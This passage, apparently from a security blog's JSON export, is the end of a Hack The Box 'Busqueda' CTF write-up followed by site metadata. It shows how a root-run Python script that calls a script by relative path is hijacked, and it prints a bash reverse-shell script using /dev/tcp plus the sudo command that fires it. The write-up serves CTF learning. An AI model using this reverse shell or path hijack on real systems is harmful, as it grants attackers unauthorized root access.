data-attachment-id=\"3027\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-23\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?fit=1157%2C479&amp;ssl=1\" data-orig-size=\"1157,479\" data-comments-opened=\"1\" data-image-title=\"Untitled-23\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?fit=800%2C331&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?resize=800%2C331&#038;ssl=1\" alt=\"\" class=\"wp-image-3027\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?w=1157&amp;ssl=1 1157w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?resize=300%2C124&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-23.png?resize=768%2C318&amp;ssl=1 768w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we need to analyse the source code to see some bug or something like that:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/bash\nimport subprocess\nimport sys\n\nactions = &#91;'full-checkup', 'docker-ps','docker-inspect']\n\ndef run_command(arg_list):\n    r = subprocess.run(arg_list, capture_output=True)\n    if r.stderr:\n        output = r.stderr.decode()\n    else:\n        output = r.stdout.decode()\n\n    return output\n\ndef process_action(action):\n    if action == 'docker-inspect':\n        try:\n            _format = sys.argv&#91;2]\n            if len(_format) == 0:\n                print(f\"Format can't be empty\")\n                exit(1)\n            container = sys.argv&#91;3]\n            arg_list = &#91;'docker', 'inspect', '--format', _format, container]\n            print(run_command(arg_list)) \n        \n        except IndexError:\n            print(f\"Usage: {sys.argv&#91;0]} docker-inspect &lt;format&gt; &lt;container_name&gt;\")\n            exit(1)\n    \n        except Exception as e:\n            print('Something went wrong')\n            exit(1)\n    \n    elif action == 'docker-ps':\n        try:\n            arg_list = &#91;'docker', 'ps']\n            print(run_command(arg_list)) \n        \n        except:\n            print('Something went wrong')\n            exit(1)\n\n    elif action == 'full-checkup':\n        try:\n            ***arg_list = &#91;'.\/full-checkup.sh']***\n            print(run_command(arg_list))\n            print('&#91;+] Done!')\n        except:\n            print('Something went wrong')\n            exit(1)\n            \n\nif __name__ == '__main__':\n\n    try:\n        action = sys.argv&#91;1]\n        if action in actions:\n            process_action(action)\n        else:\n            raise IndexError\n\n    except IndexError:\n        print(f'Usage: {sys.argv&#91;0]} &lt;action&gt; (arg1) (arg2)')\n        print('')\n        print('     docker-ps     : List running docker containers')\n        print('     docker-inspect : Inpect a certain docker container')\n        print('     full-checkup  : Run a full system checkup')\n        print('')\n        exit(1)<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After search some issue in the source code we can see the action \u201cfull-checkup\u201d execute the script \u201c.\/full-checkup.sh\u201d with relative path then we need to create a new script with our reverse shell code and execute the script in the same directory:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>#!\/bin\/bash\n\n# set the ip address of your machine\nip='&lt;Your IP Address&gt;'\n# set the port number of your listener\nport=1234\n\n# create the reverse shell\n\/bin\/bash -i &gt;&amp; \/dev\/tcp\/$ip\/$port 0&gt;&amp;1<\/code><\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">After creating our reverse shell and execute the script with sudo privileges we will receive a new connection through our netcat server:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>sudo \/usr\/bin\/python3 \/opt\/scripts\/system-checkup.py full-checkup<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img data-recalc-dims=\"1\" loading=\"lazy\" decoding=\"async\" width=\"800\" height=\"252\" data-attachment-id=\"3028\" data-permalink=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/untitled-24\/\" data-orig-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?fit=1907%2C600&amp;ssl=1\" data-orig-size=\"1907,600\" data-comments-opened=\"1\" data-image-title=\"Untitled-24\" data-image-description=\"\" data-image-caption=\"\" data-large-file=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?fit=800%2C252&amp;ssl=1\" src=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?resize=800%2C252&#038;ssl=1\" alt=\"\" class=\"wp-image-3028\" srcset=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?w=1907&amp;ssl=1 1907w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?resize=300%2C94&amp;ssl=1 300w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?resize=768%2C242&amp;ssl=1 768w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?resize=1536%2C483&amp;ssl=1 1536w, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/Untitled-24.png?w=1600&amp;ssl=1 1600w\" sizes=\"(max-width: 800px) 100vw, 800px\" \/><\/figure>\n\n\n\n<p class=\"wp-block-paragraph\">Now we already have access to the root flag!<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">This machine is good to start thinking like a pentester because you will need to reuse different \u201cthings\u201d to gather more information and finally get the root flag. However, even if it is an easy machine you will need to focus a read correctly everything to get the important \u201chints\u201d.<\/p>\n\n\n\n<p class=\"wp-block-paragraph\">If you need more information about some subject see the relevant links:<\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/python-eval-code-execution\/\">https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/python-eval-code-execution\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/www.revshells.com\/\">https:\/\/www.revshells.com\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/docs.docker.com\/engine\/reference\/commandline\/inspect\/\">https:\/\/docs.docker.com\/engine\/reference\/commandline\/inspect\/<\/a><\/p>\n\n\n\n<p class=\"wp-block-paragraph\"><a href=\"https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/python-eval-code-execution\/\">https:\/\/exploit-notes.hdks.org\/exploit\/linux\/privilege-escalation\/python-eval-code-execution\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Hey there, Cyber Warriors! \ud83d\ude80 Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can&#8217;t wait to share the adventure with you. This challenge &#8230;<\/p>\n","protected":false},"author":1,"featured_media":3029,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_jetpack_newsletter_access":"","_jetpack_dont_email_post_to_subs":false,"_jetpack_newsletter_tier_id":0,"_jetpack_memberships_contains_paywalled_content":false,"_jetpack_hide_featured_image":false,"_jetpack_featured_image_duplicate_dismissed":0,"_jetpack_feature_clip_id":0,"_jetpack_memberships_contains_paid_content":false,"footnotes":"","jetpack_publicize_message":"Hey there, Cyber Warriors! \ud83d\ude80\n\nGuess what? I recently had a wild ride with the Busqueda CTF challenge and I can't wait to share the adventure with you. This challenge was a real treat, pushing my skills and making me think on my feet. If want know more..","jetpack_publicize_feature_enabled":true,"jetpack_social_post_already_shared":false,"jetpack_social_options":{"image_generator_settings":{"template":"highway","default_image_id":0,"font":"","enabled":false},"version":2},"jetpack_post_was_ever_published":false},"categories":[3,7],"tags":[355,356,354,353,352,44],"class_list":["post-3003","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-guias","category-seguridad-informatica","tag-busqueda","tag-command-injection","tag-ctf","tag-hackthebox","tag-htb","tag-python"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v28.8 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>Hack The Box | Busqueda | Write UP - Hardsoft Security<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/\" \/>\n<meta property=\"og:locale\" content=\"es_ES\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"Hack The Box | Busqueda | Write UP - Hardsoft Security\" \/>\n<meta property=\"og:description\" content=\"Hey there, Cyber Warriors! \ud83d\ude80 Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can&#8217;t wait to share the adventure with you. This challenge ...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/\" \/>\n<meta property=\"og:site_name\" content=\"Hardsoft Security\" \/>\n<meta property=\"article:publisher\" content=\"https:\/\/www.facebook.com\/HardSoftDavid\" \/>\n<meta property=\"article:published_time\" content=\"2023-05-20T11:43:25+00:00\" \/>\n<meta property=\"article:modified_time\" content=\"2023-05-23T18:05:39+00:00\" \/>\n<meta property=\"og:image\" content=\"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1\" \/>\n\t<meta property=\"og:image:width\" content=\"1200\" \/>\n\t<meta property=\"og:image:height\" content=\"627\" \/>\n\t<meta property=\"og:image:type\" content=\"image\/png\" \/>\n<meta name=\"author\" content=\"david\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:creator\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:site\" content=\"@DavidDeMaya\" \/>\n<meta name=\"twitter:label1\" content=\"Escrito por\" \/>\n\t<meta name=\"twitter:data1\" content=\"david\" \/>\n\t<meta name=\"twitter:label2\" content=\"Tiempo de lectura\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 minutos\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/\"},\"author\":{\"name\":\"david\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"headline\":\"Hack The Box | Busqueda | Write UP\",\"datePublished\":\"2023-05-20T11:43:25+00:00\",\"dateModified\":\"2023-05-23T18:05:39+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/\"},\"wordCount\":1065,\"commentCount\":0,\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image.png?fit=1200%2C627&ssl=1\",\"keywords\":[\"busqueda\",\"command injection\",\"CTF\",\"hackthebox\",\"htb\",\"python\"],\"articleSection\":[\"Gu\u00edas\",\"Seguridad inform\u00e1tica\"],\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/\",\"name\":\"Hack The Box | Busqueda | Write UP - Hardsoft Security\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\"},\"primaryImageOfPage\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#primaryimage\"},\"image\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#primaryimage\"},\"thumbnailUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image.png?fit=1200%2C627&ssl=1\",\"datePublished\":\"2023-05-20T11:43:25+00:00\",\"dateModified\":\"2023-05-23T18:05:39+00:00\",\"author\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\"},\"breadcrumb\":{\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#breadcrumb\"},\"inLanguage\":\"es\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/\"]}]},{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#primaryimage\",\"url\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image.png?fit=1200%2C627&ssl=1\",\"contentUrl\":\"https:\\\/\\\/i0.wp.com\\\/hardsoftsecurity.es\\\/wp-content\\\/uploads\\\/2023\\\/05\\\/image.png?fit=1200%2C627&ssl=1\",\"width\":1200,\"height\":627},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/index.php\\\/2023\\\/05\\\/20\\\/hack-the-box-busqueda-write-up\\\/#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Portada\",\"item\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"Hack The Box | Busqueda | Write UP\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#website\",\"url\":\"https:\\\/\\\/hardsoftsecurity.es\\\/\",\"name\":\"Hardsoft Security\",\"description\":\"Chasing (In)Security\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/hardsoftsecurity.es\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"es\"},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/hardsoftsecurity.es\\\/#\\\/schema\\\/person\\\/dfe289b1e4ae2daf72695e85a8b3dd7a\",\"name\":\"david\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"es\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g\",\"caption\":\"david\"}}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"Hack The Box | Busqueda | Write UP - Hardsoft Security","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","og_locale":"es_ES","og_type":"article","og_title":"Hack The Box | Busqueda | Write UP - Hardsoft Security","og_description":"Hey there, Cyber Warriors! \ud83d\ude80 Guess what? I recently had a wild ride with the Busqueda CTF challenge and I can&#8217;t wait to share the adventure with you. This challenge ...","og_url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","og_site_name":"Hardsoft Security","article_publisher":"https:\/\/www.facebook.com\/HardSoftDavid","article_published_time":"2023-05-20T11:43:25+00:00","article_modified_time":"2023-05-23T18:05:39+00:00","og_image":[{"width":1200,"height":627,"url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1","type":"image\/png"}],"author":"david","twitter_card":"summary_large_image","twitter_creator":"@DavidDeMaya","twitter_site":"@DavidDeMaya","twitter_misc":{"Escrito por":"david","Tiempo de lectura":"13 minutos"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#article","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/"},"author":{"name":"david","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"headline":"Hack The Box | Busqueda | Write UP","datePublished":"2023-05-20T11:43:25+00:00","dateModified":"2023-05-23T18:05:39+00:00","mainEntityOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/"},"wordCount":1065,"commentCount":0,"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1","keywords":["busqueda","command injection","CTF","hackthebox","htb","python"],"articleSection":["Gu\u00edas","Seguridad inform\u00e1tica"],"inLanguage":"es","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#respond"]}]},{"@type":"WebPage","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/","name":"Hack The Box | Busqueda | Write UP - Hardsoft Security","isPartOf":{"@id":"https:\/\/hardsoftsecurity.es\/#website"},"primaryImageOfPage":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#primaryimage"},"image":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#primaryimage"},"thumbnailUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1","datePublished":"2023-05-20T11:43:25+00:00","dateModified":"2023-05-23T18:05:39+00:00","author":{"@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a"},"breadcrumb":{"@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#breadcrumb"},"inLanguage":"es","potentialAction":[{"@type":"ReadAction","target":["https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/"]}]},{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#primaryimage","url":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1","contentUrl":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/05\/image.png?fit=1200%2C627&ssl=1","width":1200,"height":627},{"@type":"BreadcrumbList","@id":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/20\/hack-the-box-busqueda-write-up\/#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Portada","item":"https:\/\/hardsoftsecurity.es\/"},{"@type":"ListItem","position":2,"name":"Hack The Box | Busqueda | Write UP"}]},{"@type":"WebSite","@id":"https:\/\/hardsoftsecurity.es\/#website","url":"https:\/\/hardsoftsecurity.es\/","name":"Hardsoft Security","description":"Chasing (In)Security","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/hardsoftsecurity.es\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"es"},{"@type":"Person","@id":"https:\/\/hardsoftsecurity.es\/#\/schema\/person\/dfe289b1e4ae2daf72695e85a8b3dd7a","name":"david","image":{"@type":"ImageObject","inLanguage":"es","@id":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/868972cb4e72674a12503e080ee081285c7df2fde82787c96a74bca20781cad7?s=96&d=mm&r=g","caption":"david"}}]}},"jetpack_publicize_connections":[],"jetpack_sharing_enabled":true,"jetpack_shortlink":"https:\/\/wp.me\/p7xGFx-Mr","jetpack-related-posts":[{"id":3056,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/02\/try-hack-me-overpass-write-up\/","url_meta":{"origin":3003,"position":0},"title":"Try Hack Me | Overpass | Write Up","author":"david","date":"junio 2, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Today we will see another CTF write up but now from Try Hack Me. I did this CTF in one of the workshops in IT-S Now Cyber Security conference in Vienna. Come with me and learn how you can resolv this machine! We will walk\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-2.png?fit=1008%2C720&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3092,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/06\/14\/hack-the-box-inject-write-up\/","url_meta":{"origin":3003,"position":1},"title":"Hack The Box | Inject | Write Up","author":"david","date":"junio 14, 2023","format":false,"excerpt":"Just tackled the 'Inject' machine on #HackTheBox. Loved the exploration of high ports and the challenge of the injection exploitation! If you're into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec The first step we will do is perform our Nmap scan: \u2514\u2500$ sudo nmap -sT -n\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/06\/image-15.png?fit=1200%2C1028&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":1424,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2018\/02\/01\/sqliv-buscar-automaticamente-paginas-web-con-inyecciones-sql\/","url_meta":{"origin":3003,"position":2},"title":"SQLiv, buscar autom\u00e1ticamente p\u00e1ginas web con inyecciones SQL.","author":"david","date":"febrero 1, 2018","format":false,"excerpt":"Hola a tod@s hoy os traigo una herramienta que me ha gustado bastante, esta herramienta se basa en al b\u00fasqueda automatizada de p\u00e1ginas vulnerables a inyecciones SQL. Seg\u00fan descrito por su creador en su GitHub, esta herramienta es utilizada para la b\u00fasqueda masiva de inyecciones sql, tambi\u00e9n menciona que la\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2018\/02\/SQL-Injection.jpg?fit=1000%2C482&ssl=1&resize=700%2C400 2x"},"classes":[]},{"id":3174,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/08\/23\/hacktheboxstocker1\/","url_meta":{"origin":3003,"position":3},"title":"Hack The Box | Stocker | Write Up","author":"david","date":"agosto 23, 2023","format":false,"excerpt":"Just tackled the \u2018Stocker\u2019 machine on #HackTheBox. Loved the explotation of web vulnerabilities and the challenge of the injections! If you\u2019re into #CTF, this is a must try! \ud83d\ude80 #CyberSecurity #PenTesting #EthicalHacking #InfoSec We will check which kind of services are running in this machine with NMAP: sudo nmap -sT\u2026","rel":"","context":"En \u00abGu\u00edas\u00bb","block_context":{"text":"Gu\u00edas","link":"https:\/\/hardsoftsecurity.es\/index.php\/category\/guias\/"},"img":{"alt_text":"","src":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200","width":350,"height":200,"srcset":"https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=350%2C200 1x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=525%2C300 1.5x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=700%2C400 2x, https:\/\/i0.wp.com\/hardsoftsecurity.es\/wp-content\/uploads\/2023\/08\/image-1.png?fit=1107%2C948&ssl=1&resize=1050%2C600 3x"},"classes":[]},{"id":3037,"url":"https:\/\/hardsoftsecurity.es\/index.php\/2023\/05\/26\/hack-the-box-monitorstwo-write-up\/","url_meta":{"origin":3003,"position":4},"title":"Hack The Box | MonitorsTwo | Write Up","author":"david","date":"mayo 26, 2023","format":false,"excerpt":"Hey there, Cyber Warriors! \ud83d\ude80 Get ready for a thrilling exploration of MonitorsTwo, a remarkable CTF challenge from Hack The Box! A test of wits and cybersecurity skills, MonitorsTwo takes you on a journey full of learning and discovery. In this post, we'll share our adventure tackling this machine, focusing\u2026","rel":"","context":"En 